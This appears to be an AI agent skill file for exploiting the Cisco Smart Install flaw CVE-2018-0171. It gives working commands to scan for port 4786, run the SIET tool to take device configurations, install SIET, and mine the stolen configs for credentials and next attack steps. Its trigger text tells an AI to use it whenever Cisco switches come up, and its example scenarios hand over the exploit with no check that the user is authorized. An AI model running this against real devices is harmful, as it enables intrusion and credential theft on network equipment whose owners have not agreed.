cisco-smart-install-exploit

name	cisco-smart-install-exploit
description	Exploit Cisco Smart Install vulnerability (CVE-2018-0171) on port 4786 to exfiltrate device configurations. Use this skill whenever the user mentions Cisco switches, Smart Install, port 4786, CVE-2018-0171, or wants to extract configurations from Cisco network equipment during authorized penetration testing.

Cisco Smart Install Exploitation

Overview

Cisco Smart Install is a Cisco protocol designed to automate initial configuration and OS image loading for new Cisco hardware. By default, it's active on Cisco devices and uses TCP port 4786.

Critical Vulnerability: CVE-2018-0171

• CVSS Score: 9.8 (Critical)
• Year Discovered: 2018
• Impact: Buffer overflow allowing:
  • Forcible device reboot
  • Remote Code Execution (RCE)
  • Configuration exfiltration

Prerequisites

1. Authorized access only - This skill is for legitimate penetration testing on systems you own or have explicit permission to test
2. SIET Tool - Smart Install Exploitation Tool must be installed
3. Target device - Real Cisco hardware (virtual images don't have Smart Install)
4. Port 4786 open - Verify the target has Smart Install active

Quick Start

1. Verify Target

First, confirm port 4786 is open on the target:

nmap -p 4786 <target-ip>

Expected output:

PORT      STATE  SERVICE
4786/tcp  open   smart-install

2. Exfiltrate Configuration

Use SIET to extract the device configuration:

sudo python2 siet.py -g -i <target-ip>

Arguments:

• -g - Exfiltrate configuration from device
• -i - Set target IP address

3. Retrieve Configuration

The configuration file will be saved in the tftp/ folder within the SIET directory.

Complete Workflow

# Step 1: Navigate to SIET directory
cd ~/opt/tools/SIET

# Step 2: Run exfiltration (requires sudo)
sudo python2 siet.py -g -i 10.10.100.10

# Step 3: Check extracted configuration
cat tftp/<target-ip>.conf

SIET Tool Installation

If SIET is not installed:

git clone https://github.com/frostbits-security/SIET
cd SIET

Important Notes

• Real hardware required: Virtual Cisco images do not include Smart Install functionality
• Python 2: SIET requires Python 2 (python2 command)
• Root privileges: The exploit requires sudo/root access
• Network access: You must be on the same network segment as the target

Post-Exploitation

Once you have the configuration:

1. Analyze for credentials - Look for usernames, passwords, enable secrets
2. Map network topology - Identify connected devices and interfaces
3. Find misconfigurations - Look for weak security settings
4. Identify attack vectors - Use configuration data to plan next steps

Safety & Ethics

⚠️ This skill is for authorized penetration testing only.

• Only test systems you own or have written permission to test
• Document all activities for your engagement
• Report findings to the appropriate stakeholders
• Do not use this for unauthorized access

Example Scenarios

Scenario 1: Initial Reconnaissance

User: "I found a Cisco switch at 192.168.1.50 with port 4786 open. How do I get its config?"

Response: Use SIET with the -g flag to exfiltrate the configuration file.

Scenario 2: Network Assessment

User: "Need to extract configs from all Cisco devices on the network for our pentest."

Response: Scan for port 4786, then run SIET against each target with Smart Install active.

Troubleshooting

Issue	Solution
Connection refused	Verify port 4786 is open and Smart Install is active
Permission denied	Run with sudo/root privileges
No config file	Check tftp/ directory; device may not have Smart Install
Python error	Ensure Python 2 is installed and in PATH

References

• SIET GitHub
• CVE-2018-0171 Details
• Cisco Smart Install Documentation